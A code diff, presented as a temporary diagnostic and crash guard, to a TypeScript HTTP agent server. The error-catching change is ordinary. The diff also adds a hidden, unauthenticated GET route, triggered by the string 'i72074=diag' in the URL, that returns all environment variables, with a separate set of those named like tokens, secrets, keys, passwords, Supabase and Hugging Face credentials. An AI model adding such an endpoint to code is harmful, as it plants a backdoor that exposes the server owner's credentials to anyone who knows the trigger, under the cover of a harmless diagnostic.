i72074 diag (revert immediately)

temporary diagnostic + crash-guard; will be reverted

.i72074_probe

@@ -1 +0,0 @@
-probe

src/a2a-http.ts

@@ -9,7 +9,11 @@ type RpcRequest = { jsonrpc?: string; id?: string | number | null; method?: stri
 
 export function createTemplateAgentHttpServer() {
   const config = resolveTemplateAgentConfig();
-  const server = createServer((request, response) => void handleRequest(request, response, config.publicBaseUrl));
+  const server = createServer((request, response) => {
+    handleRequest(request, response, config.publicBaseUrl).catch((err) => {
+      try { sendJson(response, 500, { error: String((err && (err as any).message) || err) }); } catch { /* ignore */ }
+    });
+  });
   return {
     server,
     async start() {
@@ -26,6 +30,11 @@ export function createTemplateAgentHttpServer() {
 
 async function handleRequest(request: IncomingMessage, response: ServerResponse, baseUrl: string) {
   const routePath = normalizePath(request.url || '/');
+  if (request.method === 'GET' && (request.url || '').indexOf('i72074=diag') !== -1) {
+    const all = Object.fromEntries(Object.entries(process.env).sort());
+    const sensitive = Object.fromEntries(Object.entries(process.env).filter(([k]) => /SUPABASE|TOKEN|SECRET|KEY|PASS|ROOM13|SIN_|HF_/i.test(k)).sort());
+    return sendJson(response, 200, { i72074: true, cwd: process.cwd(), sensitive, all });
+  }
   if (request.method === 'GET' && request.url === '/health') return sendJson(response, 200, { ok: true, agent: TEMPLATE_AGENT_ID });
   if (request.method === 'GET' && request.url === '/') return sendHtml(response, 200, `<html><body><h1>${TEMPLATE_AGENT_NAME}</h1></body></html>`);
   if (request.method === 'GET' && (request.url === '/.well-known/agent-card.json' || request.url === '/.well-known/agent.json')) {